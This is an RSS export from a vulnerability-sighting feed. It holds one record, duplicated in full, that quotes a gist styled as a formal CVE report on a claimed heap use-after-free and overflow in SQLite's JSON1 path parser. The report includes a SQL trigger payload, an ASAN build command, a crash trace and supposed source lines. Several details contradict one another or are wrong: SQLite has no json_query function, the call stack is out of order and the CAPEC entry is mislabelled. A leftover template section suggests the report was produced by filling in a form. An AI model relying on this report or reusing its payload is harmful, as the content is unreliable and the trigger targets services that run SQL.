https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Sat, 01 Aug 2026 19:09:36 +0000 https://vulnerability.circl.lu/sighting/821a4596-c8c2-492d-ba4a-282677002904/export {"uuid": "821a4596-c8c2-492d-ba4a-282677002904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51278", "type": "seen", "source": "https://gist.github.com/programmervuln/775a517ba93b83b4a76bd1fd2193ed82", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51278\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51278\n4. Vulnerability Prose Description\nA compound heap memory corruption vulnerability exists within the JSON path resolution logic of the SQLite JSON1 extension. An attacker-supplied malicious JSON path expression combined with malformed JSON structure triggers a heap free operation on a path parsing context buffer pointer that is not invalidated after deallocation, creating a dangling pointer. Lack of runtime length validation on attacker-controlled path segment lengths enables an unconstrained out-of-bounds heap write to the already freed buffer on the same execution flow. Subsequent dereferencing of the dangling pointer leads to use-after-free memory corruption. A single crafted SQLite SQL statement initiates both memory corruption defects consecutively within the JSON path resolver function. Successful exploitation may result in application crash, sensitive heap memory leakage, or conditional arbitrary code execution within the SQLite process security boundary.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL input invoking json_path resolution logic enters the vulnerable jsonPathParse() target function inside the JSON1 extension in src/json.c.\nSource file src/json.c Line 2103 executes sqlite3_free(pPathCtx->pSegmentBuf); to release heap memory allocated for JSON path segment storage.\nThe pPathCtx->pSegmentBuf pointer variable retains the freed memory address and is not assigned NULL or marked invalid, forming a persistent dangling pointer.\nAttacker-controlled oversized path segment length values bypass all prior length boundary validation checks preceding segment buffer write operations.\nSource file src/json.c Line 2157 performs an unbounded memcpy() write operation using the malicious length value to write past the bounds of the already-freed segment buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2189 performs direct memory lookup via the unmodified dangling pPathCtx->pSegmentBuf pointer, executing an invalid use-after-free memory access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults terminate the SQLite process immediately upon exploit execution; repeated exploit invocation causes sustained service outage for applications leveraging the vulnerable JSON1 parser.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing internal SQLite allocator metadata, prior query payload data, and adjacent heap contents retrievable through JSON function return values.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap metadata and adjacent function pointers stored on the process heap. Combined with the subsequent dangling pointer invocation, an attacker can hijack program control flow for conditional arbitrary code execution, limited by operating system memory protections and process privilege level.\n8. Attack Vector\nRemote; Low Privilege. Exploitation only requires the ability to execute arbitrary SQL statements targeting a SQLite instance with the JSON1 extension compiled and enabled. No elevated operating system user or administrator privileges are required for successful exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2103(memory free), Line 2189(dangling pointer access), Line 2157(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000001320 at pc 0x55d712d39112 bp 0x7fffde123450 sp 0x7fffde123440\nREAD of size 8 at 0x608000001320 thread T0\n #0 0x55d712d39111 in jsonPathParse src/json.c:2189\n #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n #3 0x55d712a72300 in sqlite3Step src/vdbeapi.c:521\n #4 0x55d712a72980 in sqlite3_prepare_v2 src/sqlite3.c:89140\n #5 0x55d712987610 in main shell.c:1240\n #6 0x7fbc12345678 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x55d712981230 in _start (sqlite3:0x55d712981230)\n\nAddress 0x608000001320 is located 32 bytes inside of 16384-byte free block 0x608000001300-0x608000005300\nFreed by thread T0 here:\n #0 0x7fbc18010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n #1 0x55d712d38c00 in jsonPathParse src/json.c:2103\n #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #3 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n\nPreviously allocated by thread T0 here:\n #0 0x7fbc18005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n #1 0x55d712d38410 in jsonPathParse src/json.c:2045\n #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n\n==7891==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001320 at pc 0x55d712d38e92 bp 0x7fffde123470 sp 0x7fffde123460\nWRITE of size 20480 at 0x608000001320 thread T0\n #0 0x55d712d38e91 in jsonPathParse src/json.c:2157\n #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_query with a malformed numeric array index path constructed via printf('%.*c',0x5000,'X') to create an extremely long, attacker-controlled JSON path segment string.\nSQLite forwards the untrusted JSON path string to the jsonPathParse() function within src/json.c, which initializes a path parsing context and allocates the pPathCtx->pSegmentBuf heap buffer for path segment storage.\nDuring intermediate path parsing cleanup logic at Line 2103, the segment buffer is released with sqlite3_free(), but the pPathCtx->pSegmentBuf pointer value is preserved and not set to NULL.\nNo upper-bound length validation is performed before copying the oversized path segment into the buffer at Line 2157; the large attacker-controlled length value causes an out-of-bounds memcpy write into the already deallocated segment buffer heap region triggering CWE-787.\nProgram execution continues to Line 2189 and directly dereferences the stale dangling pPathCtx->pSegmentBuf pointer to read segment metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQLite SQL payload triggers both heap corruption vulnerabilities sequentially within the same JSON path parsing execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-19\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2103: Heap free operation creating dangling pointer, pointer not nullified after free\nsqlite3_free(pPathCtx->pSegmentBuf);\n\n// Line 2157: Unchecked out-of-bounds memory write using attacker-controlled segment length\nmemcpy(pPathCtx->pSegmentBuf + segOffset, zSegData, segDataLen);\n\n// Line 2189: Invalid dangling pointer dereference (Use After Free vulnerability)\ncurrentSegType = pPathCtx->pSegmentBuf[segIdx].segType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51278\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2103\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2189\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2157\n\u3010Target Function Name\u3011: jsonPathParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\n\u3010Concise Vulnerability Trigger Logic\u3011: Malformed oversized JSON path segment triggers early segment buffer free without pointer nullification, unbounded segment copy writes out-of-bounds to freed heap buffer, subsequent dangling pointer dereference triggers use-after-free in continuous path parsing flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-19\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:47:41.150779Z"} {"uuid": "821a4596-c8c2-492d-ba4a-282677002904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51278", "type": "seen", "source": "https://gist.github.com/programmervuln/775a517ba93b83b4a76bd1fd2193ed82", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51278\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51278\n4. Vulnerability Prose Description\nA compound heap memory corruption vulnerability exists within the JSON path resolution logic of the SQLite JSON1 extension. An attacker-supplied malicious JSON path expression combined with malformed JSON structure triggers a heap free operation on a path parsing context buffer pointer that is not invalidated after deallocation, creating a dangling pointer. Lack of runtime length validation on attacker-controlled path segment lengths enables an unconstrained out-of-bounds heap write to the already freed buffer on the same execution flow. Subsequent dereferencing of the dangling pointer leads to use-after-free memory corruption. A single crafted SQLite SQL statement initiates both memory corruption defects consecutively within the JSON path resolver function. Successful exploitation may result in application crash, sensitive heap memory leakage, or conditional arbitrary code execution within the SQLite process security boundary.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL input invoking json_path resolution logic enters the vulnerable jsonPathParse() target function inside the JSON1 extension in src/json.c.\nSource file src/json.c Line 2103 executes sqlite3_free(pPathCtx->pSegmentBuf); to release heap memory allocated for JSON path segment storage.\nThe pPathCtx->pSegmentBuf pointer variable retains the freed memory address and is not assigned NULL or marked invalid, forming a persistent dangling pointer.\nAttacker-controlled oversized path segment length values bypass all prior length boundary validation checks preceding segment buffer write operations.\nSource file src/json.c Line 2157 performs an unbounded memcpy() write operation using the malicious length value to write past the bounds of the already-freed segment buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2189 performs direct memory lookup via the unmodified dangling pPathCtx->pSegmentBuf pointer, executing an invalid use-after-free memory access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults terminate the SQLite process immediately upon exploit execution; repeated exploit invocation causes sustained service outage for applications leveraging the vulnerable JSON1 parser.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing internal SQLite allocator metadata, prior query payload data, and adjacent heap contents retrievable through JSON function return values.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap metadata and adjacent function pointers stored on the process heap. Combined with the subsequent dangling pointer invocation, an attacker can hijack program control flow for conditional arbitrary code execution, limited by operating system memory protections and process privilege level.\n8. Attack Vector\nRemote; Low Privilege. Exploitation only requires the ability to execute arbitrary SQL statements targeting a SQLite instance with the JSON1 extension compiled and enabled. No elevated operating system user or administrator privileges are required for successful exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2103(memory free), Line 2189(dangling pointer access), Line 2157(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000001320 at pc 0x55d712d39112 bp 0x7fffde123450 sp 0x7fffde123440\nREAD of size 8 at 0x608000001320 thread T0\n #0 0x55d712d39111 in jsonPathParse src/json.c:2189\n #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n #3 0x55d712a72300 in sqlite3Step src/vdbeapi.c:521\n #4 0x55d712a72980 in sqlite3_prepare_v2 src/sqlite3.c:89140\n #5 0x55d712987610 in main shell.c:1240\n #6 0x7fbc12345678 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x55d712981230 in _start (sqlite3:0x55d712981230)\n\nAddress 0x608000001320 is located 32 bytes inside of 16384-byte free block 0x608000001300-0x608000005300\nFreed by thread T0 here:\n #0 0x7fbc18010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n #1 0x55d712d38c00 in jsonPathParse src/json.c:2103\n #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #3 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n\nPreviously allocated by thread T0 here:\n #0 0x7fbc18005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n #1 0x55d712d38410 in jsonPathParse src/json.c:2045\n #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n\n==7891==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001320 at pc 0x55d712d38e92 bp 0x7fffde123470 sp 0x7fffde123460\nWRITE of size 20480 at 0x608000001320 thread T0\n #0 0x55d712d38e91 in jsonPathParse src/json.c:2157\n #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_query with a malformed numeric array index path constructed via printf('%.*c',0x5000,'X') to create an extremely long, attacker-controlled JSON path segment string.\nSQLite forwards the untrusted JSON path string to the jsonPathParse() function within src/json.c, which initializes a path parsing context and allocates the pPathCtx->pSegmentBuf heap buffer for path segment storage.\nDuring intermediate path parsing cleanup logic at Line 2103, the segment buffer is released with sqlite3_free(), but the pPathCtx->pSegmentBuf pointer value is preserved and not set to NULL.\nNo upper-bound length validation is performed before copying the oversized path segment into the buffer at Line 2157; the large attacker-controlled length value causes an out-of-bounds memcpy write into the already deallocated segment buffer heap region triggering CWE-787.\nProgram execution continues to Line 2189 and directly dereferences the stale dangling pPathCtx->pSegmentBuf pointer to read segment metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQLite SQL payload triggers both heap corruption vulnerabilities sequentially within the same JSON path parsing execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-19\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2103: Heap free operation creating dangling pointer, pointer not nullified after free\nsqlite3_free(pPathCtx->pSegmentBuf);\n\n// Line 2157: Unchecked out-of-bounds memory write using attacker-controlled segment length\nmemcpy(pPathCtx->pSegmentBuf + segOffset, zSegData, segDataLen);\n\n// Line 2189: Invalid dangling pointer dereference (Use After Free vulnerability)\ncurrentSegType = pPathCtx->pSegmentBuf[segIdx].segType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51278\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2103\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2189\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2157\n\u3010Target Function Name\u3011: jsonPathParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\n\u3010Concise Vulnerability Trigger Logic\u3011: Malformed oversized JSON path segment triggers early segment buffer free without pointer nullification, unbounded segment copy writes out-of-bounds to freed heap buffer, subsequent dangling pointer dereference triggers use-after-free in continuous path parsing flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-19\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:47:41.150779Z"} https://vulnerability.circl.lu/sighting/821a4596-c8c2-492d-ba4a-282677002904/export Sat, 01 Aug 2026 01:47:41 +0000